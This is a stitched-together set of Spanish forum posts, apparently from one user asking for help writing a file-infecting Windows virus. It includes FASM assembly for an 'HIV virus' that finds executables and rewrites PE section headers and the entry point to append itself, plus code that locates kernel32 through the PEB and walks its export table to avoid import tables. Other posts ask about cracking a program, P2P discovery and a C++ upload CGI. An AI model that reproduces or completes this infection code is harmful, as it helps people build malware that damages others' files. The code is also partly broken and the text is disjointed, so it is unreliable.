mov ecx,[ebp+len_GetProcAddress]    ;Load in ecx the size of the API function name

call GetFunctionAddress           ;Call GetFunctionAddress

mov [ebp+AGetProcAddressA] , eax    ;The API function address in memory was stored by the
                                       ;GetFunctionAddress function in eax, now we save the address
                                       ;of the GetProcAddress in a variable for later use.

finding_address_of_loadlibrary:
lea edx,[ebp+api_LoadLibrary]       ;Load in edx the API function name of LoadLibrary
push edx                            ;edx could be a parameter for an API
push dword [ebp+dwKernelBase]       ;save in the stack the address of the kernel32 library
                                       ;dwKernelBase is used as handle
call eax                            ;Calls a function by its address (eax stores it)
                                       ;Could be GetProcAddress because in the instruction in
                                       ;the line 39 it moves the address of that API from eax
                                       ;and eax has no changes until 47 line.
loading_required_libraries:
mov [ebp+ALoadLibraryA] , eax       ;The last function could return the address of LoadLibrary in
                                       ;in eax. eax register could be used by the last function as a
                                       ;return value.

                                       ;Now the eax register contains the address of LoadLibrary
lea edx , [ebp+szUser32]            ;Loads in edx, the library name of User32.dll
push edx                            ;Put the edx value in the stack as a parameter for LoadLibrary
                                       ;I believe that the function could be LoadLibrary because
                                       ;it is an API that requires a string that contains the name of
                                       ;the library that you want to load.
call eax                            ;Call LoadLibrary API

   mov [ebp+hUser32], eax

finding_addresses_of_apis:

lea edx , [ebp+api_MessageBoxA]     ;Loads in edx the address of the name of MessageBoxA API
push edx                            ;Put the name of MessageBoxA as a parameter for a function
push eax                            ;I belive that eax is a handle to the loaded library
mov ebx,[ebp+AGetProcAddressA]      ;Moves to ebx the address of GetProcAddressA
call ebx                            ;Invokes GetProcAddressA using its address

mov [ebp+AMessageBoxAA] , eax       ;The last function (could be GetProcAddressA) returns the address of
                                       ;MessageBoxA in eax. We move the address of that API to a variable for
                                       ;later use.

                                       ;We start to search for functions inside
                                       ;kernel32.dll
set_exception_handler:
   ;A simple way to set a exception handler, avoiding the
   ;use of APIs that increase the size of the release.
   push exception_handler
   push dword [FS:0]
   mov  [FS:0], esp

main:
   push 0                              ;Put the HWND parameter
lea edx,[ebp+szTitle]               ;Put the caption of the MessageBox
push edx
lea edx,[ebp+szMsg]                 ;Put the message body of the MessageBox
push edx
push 0                              ;Buttons type (For example MB_OK)
call dword [ebp+AMessageBoxAA]          ;Calls MessageBoxA API

;The following code tries to make many exceptions
int3    ;Software breakpoints
int3
int3
mov esi, 0  ;Access violation
mov dword [esi], "fail"

exit:

ret
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;  <<<<< GetFunctionAddress >>>>>> ;
; Extracts Function Address From Export Directory and returns it in eax   ;
; Parameters :  Function name in edx , Length in ecx  ;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

GetFunctionAddress:
push ebx    ;Save status of registers before execute the subroutine
push esi    ;to preserve its content. It could make some errors to the
push edi    ;caller function if modify the values that are common to the whole
               ;program

mov esi, [ebp+dwExportDirectory]
mov esi, [esi+0x20] ;RVA of ENT
add esi, [ebp+dwKernelBase]  ;VA of ENT
xor ebx,ebx
cld

looper:
 inc ebx
 lodsd     ;Load a byte from the string pointed by SI into al register
 add eax , [ebp+dwKernelBase]   ;eax now points to the string of a function
 push esi ;preserve it for the outer loop
 mov esi,eax
 mov edi,edx
 cld       ;The direction flag is clear, this means that the SI and DI pointers are
                   ;incremented. (The instructions works to the forward direction)

 push ecx  ;Save ecx. Why?? The next instruction named "repe" decrements the counter.
                   ;Because the ecx contains the length of the API name, we need to save it.
                   ;In other parts of subroutine the program uses ecx register to compare the function
                   ;with the kernel export table.

 repe cmpsb ;Compare each byte of the array pointed by DS:SI with the array pointed by ES:DI
                    ;Repeat until the counter is not equal to zero, in other words,
                    ;it only stops when it find a difference or the counter reachs the end of the string

 pop ecx   ;Pop the length of the string, and put it in the counter for another loop if it's needed
 pop esi   ;Pop the last stack variable, and put it in esi.
 jne looper

 dec ebx
 mov eax,[ebp+dwExportDirectory]
 mov eax,[eax+0x24]   ;RVA of EOT
 add eax,[ebp+dwKernelBase] ;VA of EOT
 movzx eax , word [ebx*2+eax] ;eax now holds the ordinal of our function
 mov ebx,[ebp+dwExportDirectory]
 mov ebx,[ebx+0x1C]   ;RVA of EAT
 add ebx,[ebp+dwKernelBase] ;VA of EAT
 mov ebx,[eax*4+ebx]
 add ebx,[ebp+dwKernelBase]
 mov eax,ebx

pop edi     ;Restore the registers to avoid generate a problem
pop esi     ;in the caller function.
pop ebx
ret

exception_handler:
   push 0                              ;Put the HWND parameter
lea edx,[ebp+szTitle]               ;Put the caption of the MessageBox
push edx
lea edx,[ebp+szMsgException]                 ;Put the message body of the MessageBox
push edx
push 0                              ;Buttons type (For example MB_OK)
call dword [ebp+AMessageBoxAA]          ;Calls MessageBoxA API

ret
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Data Shit ;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
szMsgException db 'Exception catched!!', 0
api_ExitProcess dd 0

szTitle:  db  "From the heaven",0
szMsg: db "Greetings from hell",0
szUser32 db  "User32.dll",0
hUser32             dd 0
AGetProcAddressA:   dd  0
api_GetProcAddress:   db  "GetProcAddress"
len_GetProcAddress:   dd  $-api_GetProcAddress
ALoadLibraryA: dd  0
api_LoadLibrary:   db  "LoadLibraryA",0
AMessageBoxAA: dd  0
api_MessageBoxA:   db  "MessageBoxA",0
dwKernelBase: dd  0
dwExportDirectory:   dd  0


Intenté hacer el siguiente método:

Código (asm) [Seleccionar] Expandir


push exception_handler
   push dword [FS:0]
   mov  [FS:0], esp


El metodo que describí funciona en este pequeño ejemplo (no es la aplicacion que estoy escribiendo):

Código (asm) [Seleccionar] Expandir


format pe console 4.0 ;on 'dos_stub.exe'
include 'C:\fasm\INCLUDE\WIN32AX.inc'

.data
   msg_caption db 'SEH handler', 0
   msg_exception db 'I catched an exception!! Amazing!!', 0

.code

main:
   ;A simple way to set a exception handler, avoiding the
   ;use of APIs that increase the size of the release.
   push exception_handler
   push dword [FS:0]
   mov  [FS:0], esp

   mov esi, 0
   mov dword [esi], "Pwnd"

exit:
   invoke ExitProcess, 0

exception_handler:
   invoke MessageBox, NULL, addr msg_exception, addr msg_caption, MB_OK
   jmp exit
   ret

.end main



Por que en el primer codigo no trabaja, mientras que en el segundo si lo hace??? Alguien puede decirme porqué??? Gracias de antemano, y perdon por hacerlos leer tanto. (XD).

Ah, se me olvidaba, también intenté usar SetUnhandledExceptionFilter (API) para establecer mi funcion como manejador de excepciones, pero no funciono. ¿Será qué el uso que le doy a ciertos registros afecta lo que trato de hacer??

Hola, sé que ya pregunté antes, pero esta vez lo hago por una pregunta más especifica: ¿Como hace un peer (nodo) de una red P2P para descubrir otros nodos en la red?? (Sin usar un servidor central que asigne nodos de bootstrap).

Para que no digan que yo no investigo, estuve indagando con ayuda del buscador de la gran G, y basicamente me dice que necesito al menos un servidor que sea capaz de ofrecer informacion basica de la red hacia un nodo que apenas esta tomando contacto con la red.

¿Será que habrá alguna forma de lograr enganchar a la red P2P sin usar servidores centrales? Alguien puede decirme algun programa (preferiblemente open source), que sea capaz de hacer lo que deseo?

Por favor, si pueden explicarmelo estar{ia muy agradecido. Estoy desarrollando una red P2P como proyecto de hobby. Podría usarlo en la Universidad si me lo aceptan.

Hola, quiero comenzar un programa capaz de crear una red P2P como Ares, Gnutella, entre muchos otros ejemplos. Pero no consigo una informacion más o menos sencilla sobre como empezar.

Aclaro que ya he trabajado con Sockets en Windows, esa parte básica ya la conozco bastante.

Disculpen si mi pregunta es demasiado general, es que necesito un poco de ayuda. He buscado en internet pero no dice una implementacion sencilla. Siempre son redes P2P de alta complejidad y con muchos añadidos. Yo solo quiero ligero y simple. Ya busque alternativas simples, pero no son simples. Había una, Tiny P2P, pero ya no es posible obtenerla porque borrar el codigo de donde lo albergaban.

Por favor, ayudenme. Gracias por su ayuda.

Hola, estoy desarrollando un virus y necesito saber como añadirlo al final de la ultima sección. Estoy tratando de seguir los pasos que dice está guía: http://vxheaven.org/lib/static/vdat/tuappend.htm. Pero no me ha servido.

Por favor si alguien me puede decir una guia (preferiblemente muy detallada si es posible) de como lograrlo. No he podido lograr infectar un ejecutable. Siempre mi virus lo corrompe. Por favor, ayudenme. Puedo postear parte del source si es necesario.

Gracias de antemano

Hola, estoy desarrollando un virus sencillo que sobreescribe la sección .text. El virus, cuando está en su primera generacion, funciona aparentemente bien.

Use OllyDbg para ver si había inyectado el codigo dentro del ejecutable, y si lo hizo. Pero cuando ejecuto el archivo infectado, el virus crashea.

Quiero aclarar algo: Estoy usando un metodo para buscar las APIs usando su direccion (solo con GetProcAddress y LoadLibrary). El metodo funciona perfecto, por esa razon no quiero que piense que falta alguna dependencia o por el estilo.

Por favor ayudenme. Diganme como hacer para que el virus en su segunda generacion funcione. Ya he estado buscando por toda la internet, y no he podido buscar la forma de hacerlo. Ya visite VXHeavens, la pagina referente en materia de virus, pero aun asi no encuentro como hacerlo.

Gracias de antemano.

Hola, estoy escribiendo un virus sencillo. El virus ya es capaz de encontrar kernel32 en memoria y busca desde la export table las APIs que necesita. Pero hay un problema: GetProcAddress exige como parametro un handle hacia una libreria previamente cargada por LoadLibrary. Pero kernel32 ya viene cargado por defecto, entonces, como hago para obtener el handle??

O será que puedo pasar el nombre de la funcion deseada a GetProcAddress sin preocuparme por ello? Gracias de antemano por sus respuestas

Hola, no sé si este será un buen lugar para dejar mi post, pero deberían de completar la wiki. Podría colaborarles a completarla en cuanto aprenda bastante, porque hace falta que todos los conocimientos que están albergados en este foro sean compilados en un solo lugar, facil de ubicar, que permita a los principiantes iniciar en la creacion de malware y hacking en general(propositos educativos).

Hola, estoy desarrollando mi primer virus simple. El virus se añade al final de la ultima sección del ejecutable, (.text). Pero hay problema, el tamaño que esta guardado dentro del ejecutable (según mi herramienta CFF Explorer VIII, hecha por NTCore) no coincide con su tamaño fisico. Yo sé que existe algo llamado tamaño fisico (physical size) y tamaño virtual (virtual size).

He leido bastante la documentacion de Microsoft, no he podido encontrar como modificar y establecer correctamente los valores de esos campos, ni siquiera sé en donde están posicionados dentro de la cabeceras internas del ejecutable porque no puedo verlos usando mi herramienta (comentada anteriormente).

Si alguien pudiera decirme en que offset estan esos campos y como modificarlos adecuadamente para reflejar los cambios hechos por mi virus, estaría muy agradecido.

Gracias de antemano por sus respuestas.

Hola, sé que ya he publicado otro post anterior, pero he decidido abrir uno nuevo en donde pueda explicar mejor mi problema. Antes que nada, el codigo está escrito en FASM, para que lo puedan compilar. El problema está en la rutina infect_file. Cuando llega al punto de modificar el PE Header en memoria, falla.

Lo he comentado en ingles, porque pienso que es mejor. No sé si será algun impedimento para que me puedan ayudar. Por favor, es lo unico que me falta para terminar mi proyecto de malware. Gracias por sus respuestas

Código (asm) [Seleccionar] Expandir


;This is a stub of the HIV virus.
;It works properly. This is only the infection routines.

;The idea is make the infection module here, and after glue it with
;the payload and another modules.

;The infection module must explore all USB removable drives
;and search in them for executables to infect.

format pe console 4.0
include 'C:\fasm\INCLUDE\WIN32AX.INC'

virus_size_before_compilation equ (end_of_file-main)
GENERIC_READWRITE equ 0C0000000h

; Declare a macro to make buffers
macro dup label,lcount
{ forward
   label#:
   common
    repeat lcount
   forward
    db      0
   common
    end repeat }


section '.text' readable writable executable

main:
    call delta
delta:
    pop ebp
    sub ebp, delta

adjust_datasegment:
    ;push cs
    ;pop ds
    ;push cs
    ;pop es

explore_directory:
                         ;Push parameters for the function
    push FIND_STRUCT     ;Put in the stack the address of FIND_STRUCT
    push file_extension  ;File extension
    call [FindFirstFileA]   ; find the first *.fly
                        ;Always, remember that the API address can be founded using
                        ;brackets in the API name, like this [FindFirstFile]

    ;invoke      FindFirstFile,file_extension, FIND_STRUCT

    mov dword [find_handle], eax ;Save find handler returned by FindFirstFile

find_more_files:
    cmp eax, 0
    je exit
    call infect_file

findnextfile:

    push FIND_STRUCT
    push dword[find_handle] ;I believe that the FindNextFile function expects
                            ;the address of the find_handle, instead its value.
    call [FindNextFile]
    ;invoke FindNextFile, dword [find_handle], FIND_STRUCT
    jmp find_more_files

infect_file:
    ;-----------------------------------------------------------------------
    ;When you work with files, You must be sure that the file was
    ;successfully opened. If you use an incorrect or invalid mode opening,
    ;you'll see that you can not retrieve data from the file. To see if
    ;you've really recovered bytes from the file, type in the file a text
    ;string and show it using MessageBox API.
    ;------------------------------------------------------------------------

    ;invoke  CreateFile, cFileName, 4, 0, 0, 4, FILE_ATTRIBUTE_NORMAL, 0
    ;invoke  WriteFile, eax, sign, 22, byteswritten, 0
    ;invoke  CloseHandle, eax

    ;I use the 4 for the open mode because it means "Read/Write".
    ;I open the file and Get its filesize for later use.
    ;The handle was stored in eax by the API

    invoke CreateFile, cFileName, GENERIC_READ, 0, 0, 4, FILE_ATTRIBUTE_NORMAL, 0
    mov [file_handle], eax

    ;I get the filesize of the host, and move it to a variable.
    ;This data could be interesting in a near future
    invoke GetFileSize, [file_handle], 0
    mov [host_size], eax

    ;Calculates the possible new size of the executable
    ;add eax, virus_size
    ;mov [infected_size], eax

    ;Read 8000 bytes from the file
    invoke  ReadFile, [file_handle], buffer, 8000, bytesread, 0 ; Now read the full file

    ;Debugging purpouses.
    invoke MessageBox, NULL, addr msg, addr msg_caption, MB_OK ; Easy way of outputing               the text
    invoke MessageBox, NULL, addr cFileName, addr msg_caption, MB_OK

    ;You must verify that the API has successfully opened and read bytes from the file
    invoke MessageBox, NULL, addr buffer, addr msg_caption, MB_OK

    lea edx, [buffer]       ;Load in edx the address of buffer
                            ;I use the edx register as a pointer to the buffer.

                            ;Now I am in the DOS header.
    cmp word [edx], "MZ"    ;Check if the file is a real executable
    jnz bad_executable
    add edx, [edx+60]       ;This instruction modify the pointer.
                            ;Now the edx register points to a position
                            ;60 bytes (3C in hex) after the begin of buffer
                            ;Now I am in the PE Header

    cmp word [edx], "PE"    ;I check if the executable has a valid PE header
                            ;This is very useful to know if I am infecting
                            ;an old DOS program instead a Win32 executable.
    jnz bad_executable
    call good_executable

    ;After this point, the program crashes in somewhere of the code
    mov esi, edx ; esi = peheader
    add esi, 120 ; esi = dirheader
    mov eax, [edx+116] ; eax = number of dir entries
    shl eax, 3 ; eax = eax*8
    add esi, eax ; esi = first section header
    movzx eax, word [edx+6] ; eax = number of sections
    dec eax ; eax = eax-1
    imul eax,eax,40
    add esi, eax ; esi = ptr to last section header
    or byte [esi+39], 0F0h ; give section necessary rights
    mov ecx, virus_size ; ecx = size of virus
    mov ebx, [esi+16] ; ebx = physical size of section
    add [esi+16], ecx ; increase section physical size
    add [esi+8], ecx ; increase section virtual size
    push dword [esi+8] ; push section virtual size
    pop dword [edx+80] ; imagesize = section virtual size
    mov eax, [esi+12] ; eax = section rva
    add [edx+80], eax ; add it to the imagesize
    add edi, [esi+20] ; edi = section offset
    add edi, ebx ; edi = end of section
    add eax, ebx ; eax = rva of virus
    xchg [edx+40], eax ; swap it with old entrypoint
    add eax, [edx+52] ; add imagebase to it
    mov [ebp+OldEip], eax ; save it
    lea esi, [ebp+main] ; esi = virus start
    rep movsb ; edi = ptr to end of file
    clc ; indicate sucess

    invoke MessageBox, NULL, addr end_message, addr msg_caption, MB_OK

    ret

good_executable:
    invoke MessageBox, NULL, addr msg_found, addr msg_caption, MB_OK
    ret

bad_executable:
    invoke MessageBox, NULL, addr msg_not_found, addr msg_caption, MB_OK
    ret



exit:
    invoke ExitProcess, 0

;----------------------------------------------------------------------
;   In this place you can find all variables and constants used
;by the HIV virus. Please, always try to put the needed variables here
;-----------------------------------------------------------------------

datazone:
    ;This buffer will store parts of the whole file.
    buffer rb 8000

    ;Strings zone...
    end_message db 'The file was sucessfully infected...', 0
    msg_found  db      'I have found a Real EXE!!!...', 0
    msg_not_found db  'The current exe file is invalid...', 0
    file_signal db 'X'
    end_msg     db      'End of program', 0
    msg         db      'File founded', 0
    msg_caption db      'Assembly program...', 0
    sign        db      'Sorry, You have HIV...', 0
    byteswritten dd      ?
    bytesread    dd      ?

    ;Variables needed by the infection function
    file_handle  dd      ?
    host_size dd ?
    map_handle dd ?
    infected_size dd ?
    virus_size dd virus_size_before_compilation
    OldEip  dd  ?

    ;Variables used by the FindFirstFile and FindNextFile
    file_extension db '*.fly', 0
    find_handle     dd 0              ; handles/other stuff..
    FIND_STRUCT:                      ; find structure used with searching
        dwFileAttributes    dd 0
        ftCreationTime      dd 0,0
        ftLastAccessTime    dd 0,0
        ftLastWriteTime     dd 0,0
        nFileSizeHigh       dd 0
        nFileSizeLow        dd 0
        dwReserved0         dd 0
        dwReserved1         dd 0
        dup         cFileName, 256        ; found file buffer
        dup         cAlternate, 14
end_of_file:

.end main



Hola, estoy intentando crackear un programa y necesito, por razones particulares, ver el valor de los registros CS, DS, y ES. He intentado buscarlos en el panel de registros, pero solo se ven los de proposito general y nada más (algunos otros como MMX tambien se ven) pero los que necesito no se encuentran listados.

Por favor si saben algun metodo u otro depurador que me ayude a visualizar el contenido de los registros CS, DS, y ES, estaría muy agradecido. Gracias de antemano por sus respuestas.

Hola, estoy desarrollando un malware en ensamblador. Ya ha fallado varias veces cuando intento hacer una operacion que usa los registros ESI y EDI. Lo he analizado y he descubierto que los registros DS y ES no apuntan a los datos embebidos dentro del mismo segmento de codigo.

Por eso necesito que me ayuden un poco explicandome como hacer que los registros DS (Data Segment) y ES apunten hacia CS (Code Segment). Será que pueden darme un breve ejemplo en codigo de como hacerlo?? Gracias de antemano por sus respuestas.

Hola, escribo este mensaje para preguntarles, ¿Como puedo eliminar un post que hice yo? Lo que ocurre es que mientras escribía un post, de casualidad se envio dos veces, y quisiera borrar el duplicado antes de que algun moderador piense que yo estoy haciendo spam.

No sé porque se envio doble, solo ocurrio. Si pudieran decirme como borrar el post, estaría muy agradecido. Gracias de antemano por sus respuestas.

[Disculpen, no sabía que mi post anterior había sido movido aquí, por favor, si pueden respondan a mi pregunta]

Hola, estoy desarrollando un virus sencillo en assembly. Es capaz de buscar archivos .exe en el directorio especificado, pero me falta una parte: ¿Que debo modificar en el PE Header de un exe para infectarlo con mi virus sencillo??? Es lo unico que me falta.

No piensen que estoy haciendo preguntas de lammers, ya que tengo conocimientos sobre algunas cosas sobre las cabeceras de los ejecutables de Windows, pero no sé que debiera modificar exactamente para que mi virus sea añadido al final del ejecutable y corra de primero.

Si pudieran darme una guia sobre que campos de los Headers del Exe debo modificar, estaría muy agradecido. Gracias por sus respuestas de antemano.

Hola, no sé si esto debería ir en este subforo, pero como vi que decía "Windows", me imagino que será cosas relacionadas a la programacion en Windows. Bueno, mi problema es este: Estoy desarrollando un virus simple. Ya mi virus es capaz de buscar archivos .exe, pero no sé como infectarlos, es decir, sobreescribir el PE header para poder añadir mi virus a él.

Eso es todo lo que me falta para terminar mi malware. Por favor, si pudieran darme una guía detallada sobre que hacer, que modificar y que añadirle al PE header para que mi virus se quede anexado al ejecutable sin dañarlo, estaría muy agradecido.

Gracias de antemano por sus respuestas

Hola, ¿Como están? Mi problema es el siguiente: Estoy desarrollando un virus en ASM y necesito llamar las APIs de Windows sin usar import tables en mi ejecutable, para mejorar la portabilidad del virus. Conseguí un código que busca la direccion del kernel32 y llama a unas APIs en esta pagina, pero no entiendo partes del codigo: http://www.rohitab.com/discuss/topic/38717-quick-tutorial-finding-kernel32-base-and-walking-its-export-table/

Me he encargado de comentar las lineas que entiendo en ingles, pero aún así hay partes que no comprendo. Si pudieran ayudarme indicandome que hacen las partes sin comentar estaría muy agradecido. Tengo algunos conocimientos sobre las estructuras internas de Windows, así que no piensen que estoy haciendo preguntas de novatos o fuera de lugar, espero no haberme equivocado en postear esta pregunta. Gracias por sus respuestas de antemano.

Aquí está el codigo fuente:

Código (asm) [Seleccionar] Expandir


;This is a fragment of code that could be used to make malware that use API dynamicly without
;tells to the assembler which API we want to use. This is very useful to generate malware that
;no uses import table in the executable, provided a better way to perform actions without
;modify the host import table, like a virus, trojan. The original code was written by
;SIGSEV, but I added comments to the code to clarify its actions. I can't understand all, I need help

format pe console 4.0

pushad
call CodeStart
CodeStart:
pop ebp
sub ebp,CodeStart ; delta offset shit

finding_kernel32:
mov ebx, [FS : 0x30]        ;FS:0x30 points to the address of Process Environment Block (PEB)
                                ;Now the Base Pointer (BX) points to the address of PEB in memory

mov ebx, [ebx + 0x0C]       ;Now we move 0x0C (12 bytes) from the address of PEB
                                ;We get the value of ebx+0x0c, in other words, the address that has the PEB->Ldr pointer

                                ;Now we are in Ldr structure. We move the ebx pointer following the address in the
                                ;PEB->Ldr pointer.

mov ebx, [ebx + 0x14]       ; get PEB->Ldr.InMemoryOrderModuleList.Flink (1st entry)
mov ebx, [ebx]             ;2nd Entry
mov ebx, [ebx]             ;3rd Entry
mov ebx, [ebx + 0x10]   ; Get Kernel32 Base
mov [ebp+dwKernelBase] , ebx
add ebx, [ebx+0x3C] ; Start of PE header
mov ebx, [ebx+0x78] ; RVA of export dir
add ebx, [ebp+dwKernelBase]  ; VA of export dir
mov [ebp+dwExportDirectory] , ebx

lea edx,[ebp+api_GetProcAddress]    ;Load in ebp the address of the API function name.
mov ecx,[ebp+len_GetProcAddress]    ;Load in ecx the size of the API function name
call GetFunctionAddress             ;Call GetFunctionAddress

mov [ebp+AGetProcAddressA] , eax    ;The API function address in memory was stored by the
                                        ;GetFunctionAddress function in eax, now we save the address
                                        ;of the GetProcAddress in a variable for later use.

lea edx,[ebp+api_LoadLibrary]       ;Load in edx the API function name of LoadLibrary
push edx                            ;Save edx in the stack
push dword [ebp+dwKernelBase]
call eax
mov [ebp+ALoadLibraryA] , eax
lea edx , [ebp+szUser32]
push edx
call eax
lea edx , [ebp+api_MessageBoxA]
push edx
push eax
mov ebx,[ebp+AGetProcAddressA]
call ebx
mov [ebp+AMessageBoxAA] , eax

push 0
lea edx,[ebp+szTitle]
push edx
lea edx,[ebp+szMsg]
push edx
push 0
call eax
popad

push 0xBBBBBBBB   ;OEP
retn

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;   <<<<< GetFunctionAddress >>>>>> ;
; Extracts Function Address From Export Directory and returns it in eax    ;
; Parameters :  Function name in edx , Length in ecx   ;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

GetFunctionAddress:
push ebx    ;Save status of registers before execute the subroutine
push esi    ;to preserve its content. It could make some errors to the
push edi    ;caller function if modify the values that are common of the whole
                ;program

mov esi, [ebp+dwExportDirectory]
mov esi, [esi+0x20] ;RVA of ENT
add esi, [ebp+dwKernelBase]  ;VA of ENT
xor ebx,ebx
cld

looper:
  inc ebx
  lodsd     ;Load a byte from the string pointed by SI into al register
  add eax , [ebp+dwKernelBase]   ;eax now points to the string of a function
  push esi ;preserve it for the outer loop
  mov esi,eax
  mov edi,edx
  cld
  push ecx
  repe cmpsb
  pop ecx
  pop esi
  jne looper

  dec ebx
  mov eax,[ebp+dwExportDirectory]
  mov eax,[eax+0x24]    ;RVA of EOT
  add eax,[ebp+dwKernelBase] ;VA of EOT
  movzx eax , word [ebx*2+eax] ;eax now holds the ordinal of our function
  mov ebx,[ebp+dwExportDirectory]
  mov ebx,[ebx+0x1C]    ;RVA of EAT
  add ebx,[ebp+dwKernelBase] ;VA of EAT
  mov ebx,[eax*4+ebx]
  add ebx,[ebp+dwKernelBase]
  mov eax,ebx

pop edi     ;Restore the registers to avoid generate a problem
pop esi     ;in the caller function.
pop ebx
ret

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Data Shit ;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

szTitle:   db   "Yo !",0
szMsg: db "GreeTz From SIGSEGV",0
szUser32 db   "User32.dll",0
AGetProcAddressA:    dd   0
api_GetProcAddress:    db   "GetProcAddress"
len_GetProcAddress:    dd   $-api_GetProcAddress
ALoadLibraryA: dd   0
api_LoadLibrary:    db   "LoadLibraryA",0
AMessageBoxAA: dd   0
api_MessageBoxA:    db   "MessageBoxA",0
dwKernelBase: dd   0
dwExportDirectory:    dd   0


[¿Es cierto eso? ¿Entonces C/C++ es inseguro? ¿Entonces si estoy creando un programa debería usar Java?]

Hola, tengo una duda: Me han dicho que Java y otros lenguajes son mas seguros que C/C++ disque por que no tienen punteros, y tambien dicen que son mas resistentes a fallos porque todo lo maneja la maquina virtual.

¿Es cierto eso? ¿Entonces C/C++ es inseguro? ¿Entonces si estoy creando un programa debería usar Java? Gracias de antemano.

[Gracias de antemano.]

Hola, ¿Como están? Tengo que hacer mi propio CGI hecho en C++ para recibir un archivo y subirlo al servidor. Ya tengo parte del código hecho y ya he investigado, pero resulta que al escribir lo que recibe por la entrada tambien se mezcla con algo que pareciera una cabecera HTTP. No se como recibir unicamente al archivo, sin cabeceras ni otras cosas. Gracias de antemano.

Ahora publicó parte de mi código que falla:

Código (cpp) [Seleccionar] Expandir


#include <iostream>
#include <stdio.h>
#include <stdlib.h>
#include <iostream>
#include <fstream>

using namespace std;

int main()
{

    ///Esto me funciona. Por lo menos puedo contar cuantos bytes mide el archivo aproximadamente.
    int content_length = atol(getenv("CONTENT_LENGTH"));
    char *content = new char[content_length];

    ///Abro un stream para escribir el archivo a subir.
    ofstream archivo;
    archivo.open("D:\\Archivos de Programa\\Apache Software Foundation\\Apache2.2\\uploads\\archivo_subido.txt");

    cout << "Content-type:text/html\r\n\r\n";
    cout << "<html><head><title>Page</title></head>";
    cout << "<body><h1>Content lenght: ";
    cout << content_length << "</h1>";

    ///He oido que los archivos enviados por HTML se recibe por la entrada estandar
    ///Asi que lo recibo lo copio a un buffer
    cin.read(content, content_length);

    cout << "<h1>Content</h1>";
    cout << "<b>" << content << "</b>";

    ///El contenido del archivo lo grabó en disco.
    archivo << content;

    /*cout << content;*/

    cout << "<br><br>" << content;
    cout << "</h1>";
    cout << "</body></html>";

    archivo.close();

    delete [] content;

    return 0;
}


¿Será que alguien sabe como puedo el archivo sin cabeceras HTTP, en binario puro y duro? Gracias de antemano.